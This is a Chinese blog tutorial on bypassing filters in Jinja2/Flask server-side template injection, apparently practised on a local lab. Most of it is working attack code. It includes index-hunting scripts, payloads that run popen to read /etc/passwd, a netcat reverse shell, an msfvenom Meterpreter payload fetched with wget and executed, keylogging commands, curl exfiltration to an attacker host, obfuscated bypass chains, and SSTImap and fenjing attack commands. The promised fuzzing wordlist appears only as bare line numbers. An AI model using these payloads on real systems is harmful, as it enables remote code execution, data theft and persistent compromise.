ssti模板注入手法总结python篇(二)

绕过

基础已经学习完了,现在我们愉快的开启学习绕过手法,绕过手法有很多种,同学们可以看目录的结构大致了解一下

开始吧!

绕过过滤大括号

先举一个例子

后端代码如下

1
2
3
4
5
6
7
8
9
10
from flask import Flask, render_template
app = Flask(__name__)

@app.route('/')
def show1():
girls = ['如花', '李冰冰', '杨幂', '孙艺珍', '郭德纲']
return render_template('index.html', girls=girls)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

前端代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>演示控制块</title>
<style>
.a{
color: red;
font-weight:bold ;
}
</style>
</head>
<body>
<ul>
{% for girl in girls %}
{% if girl|length >=3 %}
<li class="a">{{ girl }}</li>
{% else %}
<li>{{ girl }}</li>
{% endif %}
{% endfor %}
</ul>
</body>
</html>

可以看到都使用了%

所以在后面我们可以这样操作,在存在过滤{{}}双写大括号的时候

我们可以这样写进行绕过

进入我们之前讲的靶场环境

环境.png

输入

1
{% if 1==1 %}benben{%endif%}

这个的意思是如果存在1=1 的话则输出benben

构造python脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = "http://172.16.1.0:17080/flasklab/level/2/"
for i in range(500):
try:
data = {"code": '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read() %}Benben{% endif %}'}
response = requests.post(url, data=data)
if response.status_code == 200:
if "Benben" in response.text:
print(i, "---->", data)
break
except:
pass

得到下表为117

构造payload

1
{% print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}Benben{% endif %}

这里补充一个基础知识

1
2
3
4
5
6
7
8
9
1. {{ ... }} - 输出标签
jinja2
{{ 变量或表达式 }}
作用:计算里面的表达式,并显示结果
2. {% ... %} - 语句标签
jinja2
{% if 条件 %} ... {% endif %}
{% for i in list %} ... {% endfor %}
作用:执行逻辑控制(if判断、for循环等)

上面那个payload使用是判断语句,没有输出,所以我们还得构造一个可以输出的

1
{% print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}

无回现ssti

nc

我们还是使用脚本构造一下

1
2
3
4
5
6
7
8
9
10
11
import requests

ip = input('请输入目标主机IP地址: ')
url = input('请输入URL链接: ')

for i in range(300):
try:
data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat {ip} 7777 -e /bin/bash").read()}}'}
response = requests.post(url, data=data)
except:
pass

在kali上进行监听

1
nc -lvp 7777

运行脚本就可以连接上了

但是使用这个方法好像实现不了(挺神奇的,有时候可以但是有时候不行)

接下来使用msf操作

msf

在kali上运行

1
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.8.128 LPORT=1337 -f raw > /var/www/html/pyshell.py
  • -p python/meterpreter/reverse_tcp:选择 Python 版本的 Meterpreter
  • LHOST=192.168.8.128:你的 Kali IP(接收连接的地址)
  • LPORT=1337:监听端口
  • -f raw:原始格式输出
  • > /var/www/html/pyshell.py:保存到 Web 目录,方便目标下载

接下来执行

1
2
3
4
5
6
7
8
9
10
# 启动 msfconsole
msfconsole

# 设置监听(在 msf 控制台中输入)
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.8.128
set LPORT 1337
set ExitOnSession false
run -j

然后再web页面执行命令

1
2
3
4
{{().__class__.__base__.__subclasses__()[444].__init__.__globals__.os.system('wget http://192.168.8.128/pyshell.py -O /tmp/pyshell.py')}}


{{().__class__.__base__.__subclasses__()[444].__init__.__globals__.os.system('python3 /tmp/pyshell.py')}}

然后返回kali执行

1
2
3
4
5
# 查看回话有哪些
msf6 exploit(multi/handler) > sessions -l

# 执行
sessions -i 1

接下来这个是Meterpreter的常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 系统信息
sysinfo

# 当前用户
getuid

# 查看网络
ifconfig
route

# 进程列表
ps

# 提权尝试
getsystem

# 屏幕截图
screenshot

# 键盘记录
keyscan_start
keyscan_dump

# 下载/上传文件
download /etc/passwd
upload /root/tools/linpeas.sh /tmp/

# 进入 shell
shell
# 退出 shell 回到 meterpreter
exit

# 后台会话
background

# 查看所有会话
sessions -l

最后可以获得shell

带外注入

依旧执行代码

1
2
3
4
5
6
7
8
9
import requests
url = input("攻击目标url (带http/https): ")
for i in range(1,300):
data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl 192.168.10.18/`whoami`").read()}}'}
print(i)
try:
requests.post(url, data=data)
except:
pass

主要是注入访问kali的命令

在kali上我们也要输入

1
python3 -m http.server 80

查看kali上面的web控制即可

getitem中括号过滤

__getitem__是一个魔术方法

理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class MyList:
def __init__(self, data):
self.data = data

# 当执行 obj[key] 时调用
def __getitem__(self, key):
return self.data[key]

# 创建实例
my_list = MyList([10, 20, 30])

# 调用 __getitem__
print(my_list[0]) # 输出:10(等价于 my_list.__getitem__(0))
print(my_list[1:3]) # 输出:[20, 30](支持切片)

我们就可以使用这个来取代中括号需要用到的索引

1
{{"".__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passwd').read()}}

一般情况下可以使用.__getitem__可以用来替换中括号(这里有一个要注意的地方就是需要在前面加一个点)

1
2
3
4
5
6
7
__subclasses__()[117]  
# 等于
__subclasses__().__getitem__(117)

__globals__['os']
# 等于
__globals__.__getitem__('os')

强调基础知识

在这里有必要强调一下基础知识

[] 中括号 —— 用于字典和列表

1
2
3
4
5
6
7
# 列表用 [索引]
subclasses_list = __subclasses__() # 这是一个列表
subclasses_list[79] # 获取第79项

# 字典用 [键名]
globals_dict = __globals__ # 这是一个字典
globals_dict['os'] # 获取键为'os'的值

. 点号 —— 用于获取属性/方法

1
2
3
4
5
6
# 从对象获取属性
obj.name
obj.age

# 从类/对象调用方法
loader.get_data(0, "/etc/passwd")

这里有一个口诀

1
2
3
4
列表字典用中括,点号跟着属性和方法
列表取值用索引,字典取值用键名
类的方法直接点,容器取值才用[]
__getitem__替中括,__getattribute__替点号

现在举一个例子详细的看看各个返回的结果是什么

1
{{"".__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passwd').read()}}

__class__返回的是类

__base__返回的是类

subclasses()返回的是列表,所以后面接的是下标

__init__这个是每一个类都有的方法,这个是一个入口,使用就可以使用globals属性

globals 返回的是字典,所以后面接的是一个值

(‘popen’)是类的一个方法,使用的是()

所以有了这基础知识之后就知道为什么不能把所有的中括号都替换为__getitem__(),getitem()这个只能替换索引的中括号

过滤单双引号

request绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<title>My Flask App</title>
</head>
<body>
<h1>Welcome to My Flask App</h1>
获得get参数{{request.args.get('name')}}
<br>
获得POST参数{{request.form.get('name')}}
<br>
获得cookie参数{{request.cookies.get('name')}}
</body>
</html>

构造payload(使用get进行传参)

1
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.name).read()}}

记得要在URL上面加上我们要传入的参数

1
http://192.168.8.133:18080/flasklab/level/5?popen=popen&name=ls

构造pyload(使用POST进行传参)

1
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.name).read()}}&popen=popen&name=ls

使用这个的时候最好使用burp进行抓包获得

也可以使用curl操作

1
curl -X POST -d 'code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.name).read()}}&popen=popen&name=whoami' http://192.168.8.133:18080/flasklab/level/5

构造pyload(使用cookie进行构造)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /flasklab/level/5 HTTP/1.1
Host: 192.168.38.147:18080
Content-Length: 125
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Origin: http://192.168.38.147:18080
Referer: http://192.168.38.147:18080/flasklab/level/5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: popen=popen;name=ls

code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookies.popen](request.cookies.name).read()}}

同样也可以使用curl命令

1
curl -X POST http://192.168.8.133:18080/flasklab/level/5  --cookie "popen=popen; name=whoami" -d "code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookies.popen](request.cookies.name).read()}}"

这里有一个表可以参考一些使用有多少种类型

1
2
3
4
5
6
7
8
9
10
11
12
13
request.args.key  #获取get传入的key的值

request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get

request.cookies.key #获取cookies传入参数

request.headers.key #获取请求头请求参数

request.data #获取post传入参数(Content-Type:a/b)

request.json #获取post传入json参数 (Content-Type: application/json)

chr函数绕过

chr函数是可以将ascll码转化为字符

直接上payload(注意这个用法是一定要在第一部分与第二部分添加回车的)

1
2
{%set chr=[].__class__.__bases__[0].__subclasses__()[444].__init__.__globals__.__builtins__.chr%}
{{[].__class__.__mro__[1].__subclasses__()[444].__init__.__globals__[chr(111)+chr(115)][chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(108)+chr(115)).read()}}

分析一下这个payload

首先利用set定义了chr

1
2
# 第一部分
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}

这里有几个是需要理解的

chr 函数不在普通模块的 __globals__ 中,它在 __builtins__ 模块中!

Python 将内置函数统一放在 __builtins__ 模块中,而不是分散在各个模块的全局变量中

这一步就是找到chr函数的位置,然后命名一个变量chr的含义跟chr函数一样

1
2
3
4
5
6
7
8
9
10
{# 第二部分:使用 chr 变量构造字符串 #}
{{
[].__class__.__mro__[1]
.__subclasses__()[300]
.__init__.__globals__
[chr(111) + chr(115)] # 这里调用的是上面定义的 chr 变量
[chr(112) + chr(111) + chr(112) + chr(101) + chr(110)] # 这里也是
(chr(108) + chr(115)) # 这里也是
.read()
}}

其中

1
2
3
[chr(111) + chr(115)]  # 等价于 ["os"]
[chr(112) + chr(111) + chr(112) + chr(101) + chr(110)] # 等价于 ["popen"]
(chr(108) + chr(115)) # 等价于 ("ls")

绕过下划线过滤

基础用法

在flask中的过滤器,是python里面的函数,这两个是同一个东西

过滤器与参数之间是使用|来进行连接的

1
2
3
4
5
6
7
8
9
10
11
12
flask常用过滤器
length() # 获取一个序列或者字典的长度并将其返回;
int(): # 将值转换为int类型;
float(): # 将值转换为float类型;
lower(): # 将字符串转换为小写;
upper(): # 将字符串转换为大写;
reverse(): # 反转字符串;
replace(value,old,new): # 将value中的old替换为new
list(): # 将变量转换为列表类型;
string(): # 将变量转换成字符串类型;
join(): # 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用;
attr(): # 获取对象的属性。

过滤器实例用法

index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>过滤器的使用</title>
</head>
<body>
当前用户总共:{{ girls|length }} 人
<br>
{{ girls.append('小陈') }}
<br>
当前用户总共:{{ girls|length }} 人
<br>
先转化为大写再转化为小写:{{ users|upper|lower }}
</body>
</html>

app.py

1
2
3
4
5
6
7
8
9
from flask import Flask, render_template, request
app = Flask(__name__)
@app.route('/', methods=['POST', 'GET'])
def show1():
girls = ['如花', '李冰冰', '杨幂', '孙艺珍', '郭德纲']
users = ['benben', 'DAA', 'HUANG']
return render_template('index.html', girls=girls, users=users)
if __name__ == '__main__':
app.run(host='0.0.0.0')

通过上面的这个例子我们就知道

1
2
3
obj.name → "obj 的 name 属性"
obj|attr('name') → "从 obj 中获取叫 name 的属性"
obj.name跟obj|attr('name')是等价的
1
attr(): # 获取对象的属性。我们可以在这个方法里面进行传入我们自己想要的方法

例如

1
attr(request.args.cmd)

使用方法

1
{{''|attr(request.args.class)}}

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /flasklab/level/6?class=__class__&base=__base__&sub=__subclasses__&geti=__getitem__&ini=__init__&glo=__globals__ HTTP/1.1
Host: 192.168.38.147:18080
Content-Length: 214
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Origin: http://192.168.38.147:18080
Referer: http://192.168.38.147:18080/flasklab/level/6?cmd=__class__
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

code={{''|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.geti)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)('popen')('id')|attr('read')()}}

主要的数据如下

1
?class=__class__&base=__base__&sub=__subclasses__&geti=__getitem__&ini=__init__&glo=__globals__ HTTP/1.1
1
code={{''|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.geti)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)('popen')('id')|attr('read')()}}

有很多的小细节attr(request.args.sub)()括号是直接接在后面的

attr(request.args.geti)(117)

attr(request.args.geti)('popen')('id')

attr('read')()

read是直接写的,而且要在后面接上一个括号

我发现不知道为什么不能使用curl执行该语句

但是使用burp 和hackbar可以执行

burp.png

hackbar.png

Unicode过滤

Python 中,像__class__这类特殊属性名,每个字符都可以用 Unicode 码点表示

1
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(199)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

将这个进行Unicode编码

1
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(199)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}

可以使用在线Unicode转化工具

16位编码

将__转化为16进制

还有一个是需要注意的是在使用的时候没有.而是使用[]代替.

1
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[199]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"].popen("ls").read()}}

绕过点过滤

方法有两种

在python中可以使用中括号进行过滤点

或者使用上一节的attr进行绕过

主要讲解使用中括号进行绕过

1
2
3
{{''['__class__']}}
{{''['__class__']['__base__']['__subclasses__']()[117]}}
{{''['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('id')['read']()}}

关键字绕过

在这个模块里面的方法是通用的,都可以使用的,在前面或者后面的内容里面都可以使用的

使用+进行过滤

1
{{''['__cl'+'ass__']}}
1
{{''['__cl'+'ass__']['__ba'+'se__']['__subc'+'lasses__']()[117]['__in'+'it__']['__gl'+'obals__']['pop'+'en']('i'+'d')['r'+'ead']()}}

jinjia2中的~绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1.{% set a = '__cla' %}

在 Jinja2 中定义一个变量 a

值为字符串 '__cla'

2. {% set b = 'ss__' %}

定义变量 b

值为字符串 'ss__'

3. {{ ()[a ~ b] }}

() 是一个空元组

~ 是 Jinja2 中的字符串连接运算符(类似 Python 的 +)

a ~ b 将两个字符串拼接成 '__cla' + 'ss__' = '__class__'

()[a ~ b] 相当于 ()['__class__'],即获取空元组的 __class__ 属性
1
{%set a='__cla'%}{%set b='ss__'%}{{()[a~b]}}
1
{%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{{()[a~b][c~d]}}
1
2
3
4
5
6
7
8
9
10
11
12
13
{%set a='__cla'%}
{%set b='ss__'%}
{%set c='__ba'%}
{%set d='se__'%}
{%set e='__subcla'%}
{%set f='sses__'%}
{%set g='__in'%}
{%set h='it__'%}
{%set i='__glo'%}
{%set j='bals__'%}
{%set k='pop'%}
{%set l='en'%}
{{()[a~b][c~d][e~f]()[117][g~h][i~j][k~l]('id')['read']()}}

过滤器绕过

1
2
3
# 用 reverse 绕过
{% set a="__ssalc__"|reverse %} # reverse 后变成 __class__
{{''[a]}} # 通过,因为代码中没有 "__class__"
1
2
3
4
5
6
7
{%set a="__ssalc__"|reverse%}
{%set b="__esab__"|reverse%}
{%set c="__sessalcbus__"|reverse%}
{%set d="__tini__"|reverse%}
{%set e="__slabolg__"|reverse%}
{%set f="nepop"|reverse%}
{{''[a][b][c]()[117][d][e][f]('cat /etc/passwd')['read']()}}

其他过滤器

过滤器 replace

1
{%set a="__claee__"|replace("ee","ss")%}{{()[a]}}

过滤器 join

1
2
{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}
{%set a=['__cla','ss__']|join%}{{()[a]}}
1
2
3
4
5
6
1. ['cla','ss']|join
创建一个列表:['cla', 'ss']
|join 将列表元素连接成字符串
结果是:'cla' + 'ss' = 'class'
2. {{ ()[a] }}
同样得到 'class',不是 '__class__'

length过滤器绕过数字过滤

使用length计算出117

1
{% set a='aaaaaaaaaa'|length*'aaaaaaa'|length*'aa'|length-'aaa'|length %}

逐步计算:

1
2
3
4
5
6
7
8
9
10
11
12
13
1. 'aaaaaaaaaa'|length
字符串有 10'a'
|length 返回字符串长度
结果:10
2. 'aaaaaaa'|length
字符串有 7'a'
结果:7
3. 'aa'|length
字符串有 2'a'
结果:2
4. 'aaa'|length
字符串有 3'a'
结果:3
1
2
{% set a='aaaaaaaaaa'|length*'aaaaaa'|length*'aa'|length-'aaa'|length %}
{{''['__class__']['__base__']['__subclasses__']()[a]['__init__']['__globals__']['popen']('id')['read']()}}

计算出119

1
{% set a='aaaaaaaaaa'|length*'aaaaaaaaaa'|length*'aa'|length-'a'|length %}
1
{% set a='aaaaaaaaaa'|length*'aaaaaaaaaa'|length*'aa'|length-'a'|length %} {{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['os'].popen('ls -l').read()}}

绕过数字还有一种方法

1
2
{%set aa=dict(aaaaa='a')|join|count%}
{{aa}}

dict是创建一个字典

join是获取字典的键

count是计数

最后就是aa=5

获取config文件

正常使用

1
{{config}}

可以获得config的配置文件内容

如果存在过滤的话,我们可以通过第三方库进行获取config文件信息

1
2
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

模块阉割

模块阉割是指在 Python 沙盒环境中,删除或禁用危险的函数/模块,防止攻击者执行恶意代码

后端可能会使用这些操作

1
2
3
4
# 阉割环境 - 删除危险函数
del __builtins__.eval
del __builtins__.exec
del __builtins__.__import__

怎么恢复

1
2
3
4
5
6
7
8
9
10
11
# Python 2
import __builtins__
reload(__builtins__) # 恢复所有被删除的函数

# Python 3 - 需要先找到 reload
import imp
imp.reload(__builtins__)

# 或者
import importlib
importlib.reload(__builtins__)

所以我们输入payload

1
2
3
4
5
{# Python 2 中可以直接调用 reload #}
{{ reload(__builtins__) }}

{# 或者使用 __builtins__.reload #}
{{ __builtins__.reload(__builtins__) }}
1
2
3
4
5
6
7
{# Python 3 - 需要先获取 imp 或 importlib #}

{# 方法1:通过 imp #}
{{ [].__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__'].__import__('imp').reload(__builtins__) }}

{# 方法2:通过 importlib #}
{{ [].__class__.__bases__[0].__subclasses__()[319].__init__.__globals__['__builtins__'].__import__('importlib').reload(__builtins__) }}

ssti混合过滤

混合过滤一

拼接
1
2
dict()		创建一个字典
join 进行字符串的拼接

例子

1
{%set a=dict(benben=1)|join%}{{a}}

可以发现我们这样使用读取的是字典里面的键名而不是值

于是我们可以这样

1
{%set a=dict(__cla=1,ss__=2)|join%}{{''[a]}}

来构造

最终可以实现的payload

1
2
3
4
5
6
{%set a=dict(__cla=1,ss__=2)|join%}
{%set b=dict(__ba=1,se__=2)|join%}
{%set c=dict(__subc=1,lasses__=2)|join%}
{%set d=dict(__in=1,it__=2)|join%}
{%set e=dict(__glo=1,bals__=2)|join%}
{{''[a][b][c]()[117][d][e]['popen']("cat /etc/passwd").read()}}
获取特殊符号

获得下划线

1
{% set ben=({}|select()|string())%}{{ben}}

空集合,经过一些处理转成字符串,最后把这个字符串形式的空集合(也就是 "{}")输出显示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1. {}
创建一个空字典

2. | select()
select() 是 Jinja2 的一个过滤器,用于筛选

对空字典使用 select(),返回一个空字典的迭代器

3. | string()
将迭代器转换成字符串

4. {% set ben = ... %}
将结果赋值给变量 ben

5. {{ ben }}
输出变量的值


{} = 一个空盒子
| select() = 你对着空盒子说:"筛选!"
虽然盒子是空的,但"筛选"这个动作本身产生了一个筛选机器(迭代器)
| string() = 你给这个机器贴个标签
标签上写着:"这是筛选机器,编号是0x7f8b9c0a3d60"

输出结果

1
<generator object select_or_reject at 0x7f3add00a0f8>

发现有空格和_,我们可以通过list进行获得下划线和空格

通过下面这个可以获得特殊符号

1
{% set ben=({}|select()|string()|list)%}{% set kong=ben[10] %}{% set xia=ben[24] %}{{kong}}{{xia}}

不知道为什么使用{}不能使用,所以我们使用等价的函数操作

下面这个可以获得__class__

1
{% set ben=(dict()|select()|string()|list) %} {% set xia = ben[24] %} {% set cla = xia ~ xia ~ 'class' ~ xia ~ xia %} {{ cla }}

完整的

1
2
3
4
5
6
7
8
9
10
11
12
{% set ben=(dict()|select()|string()|list) %}
{% set xia = ben[24] %}

{# 拼接所有需要的字符串 #}
{% set cla = xia ~ xia ~ 'class' ~ xia ~ xia %}
{% set bas = xia ~ xia ~ 'bases' ~ xia ~ xia %}
{% set sub = xia ~ xia ~ 'subclasses' ~ xia ~ xia %}
{% set init = xia ~ xia ~ 'init' ~ xia ~ xia %}
{% set glo = xia ~ xia ~ 'globals' ~ xia ~ xia %}

{# 执行命令 #}
{{ ""[cla][bas][0][sub]()[117][init][glo]["popen"]("cat /etc/passwd").read() }}

获得空格

也是使用上面这个方法

获得百分号

1
{%set ben=(self|string|urlencode|list) %}{{ben}}

这样的方法有很多,自己搜

使用方法

以获得下划线为例

1
{% set ben=({}|select()|string())|list%}{{ben}}

输出

1
['<', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'o', 'r', ' ', 'o', 'b', 'j', 'e', 'c', 't', ' ', 's', 'e', 'l', 'e', 'c', 't', '_', 'o', 'r', '_', 'r', 'e', 'j', 'e', 'c', 't', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '3', 'a', 'd', 'd', '0', '0', 'a', '3', '0', '8', '>']

数数到_

1
{% set ben=({}|select()|string())|list%}{{ben[24]}}

混合过滤二

1
{{lipsum|string}}

输出

1
<function generate_lorem_ipsum at 0x7f3addd86048>
1
{{lipsum|string|list}}

同样可以读取内容

1
['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '3', 'a', 'd', 'd', 'd', '8', '6', '0', '4', '8', '>']

有空格和下划线

学完了这些绕过就可以完成网页里面的最终几个靶场 了

img

有各种各样的,千奇百怪的绕过

绝对不止一种方法

可以看看这个网址

1
https://blog.csdn.net/RABCDXB/article/details/117773638

这个网址里面的过滤方法有很多,其中有使用循环来找到危险类

工具一把梭

到了工具了,你会发现你学的过滤工具都可以完成,所以我们学习绕过要知晓其原理,因为实操工具都会呀

sstimap工具使用教程

安装

1
2
git clone https://github.com/vladko312/SSTImap.git
pip install -r requirements.txt

使用方法

测试是否存在ssti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
get提交参数
python sstimap.py -u "https://example.com/page?name=John"

post提交参数
python sstimap.py -u "http://192.168.8.133:18080/flasklab/level/1" --data "code=1"

post提交参数指定参数
python sstimap.py -u "http://target.com/login" --data "username=admin&password=test" -p "password"

POST JSON 数据
python sstimap.py -u "http://target.com/api/user" --data '{"name":"test","email":"test@test.com"}' --content-type "application/json"

拿到系统shell
python sstimap.py -u "http://192.168.8.133:18080/flasklab/level/1" --data "code=1" --os-shell

还有一些高级的使用方法
> help # 查看帮助
> os-shell # 获取系统 Shell
> os-cmd whoami # 执行系统命令
> eval-shell # Python 交互式 Shell
> eval-cmd "print('hello')" # 执行 Python 代码
> tpl-shell # 模板引擎 Shell
> upload local.txt remote.txt # 上传文件
> download /etc/passwd ./passwd.txt # 下载文件
> reverse-shell 192.168.8.x 4444 # 反弹 Shell
> exit # 退出

这个工具还是挺好用的

fenjing

fenjing来了,这里我要多说几句,我最开始接触fenjing的时候,是我把绕过手法学习了很久了,但是还是有很多的题目没能自己独立做出来,然后我使用fenjing发现这个工具非常变态,可以很快的拿到shell,绝大多数过滤在它的面前简直是小儿科。所以我就在想我学习绕过手法的意义还有吗?工具都是瞬间秒杀的,这种感觉非常像现在ai横行的时代,任何技术只要投喂给ai,ai都能学会,甚至能联系更多东西,写代码,做安全,在ai面前几乎都是小儿科了。

不多说了

这个工具很🐮比,专门用于针对CTF的,所以说非常好用

安装

1
2
3
4
5
6
# 首先使用apt/dnf/pip/...安装pipx
sudo apt install pipx
# 然后用pipx自动创建独立的虚拟环境并进行安装
pipx install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'

上面这个是web形式的使用方法

下面这个是高手

scan

在终端可以用scan功能,猜测某个页面的参数并自动攻击:

1
fenjing scan --url 'http://xxxx:xxx/yyy'

crack

也可以用crack功能,手动指定参数进行攻击:

1
fenjing crack --url 'http://192.168.8.133:18080/flasklab/level/13' --detect-mode fast --inputs code --method POST

这里提供了code参数进行攻击,并使用–detect-mode fast加速攻击速度

crack-request

还可以将HTTP请求写进一个文本文件里(比如说req.txt)然后进行攻击

文本文件内容如下:

1
2
3
GET /?name=PAYLOAD HTTP/1.1
Host: 127.0.0.1:5000
Connection: close

命令如下:

1
fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000

crack-keywords

如果已经拿到了服务端源码app.py的话,可以自动提取代码中的列表作为黑名单生成对应的payload

命令如下:

1
fenjing crack-keywords -k app.py -c 'ls /'

自动化模糊测试(ffuf)

这个我面对ssti题目的时候会使用的东西,里面的字典是我自己总结的,大家可以看看

过滤很烦的,于是我们可以使用自动化的工具进行操作看有没有被过滤

在这里我自己制作了一个ssti过滤探测的字典

字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
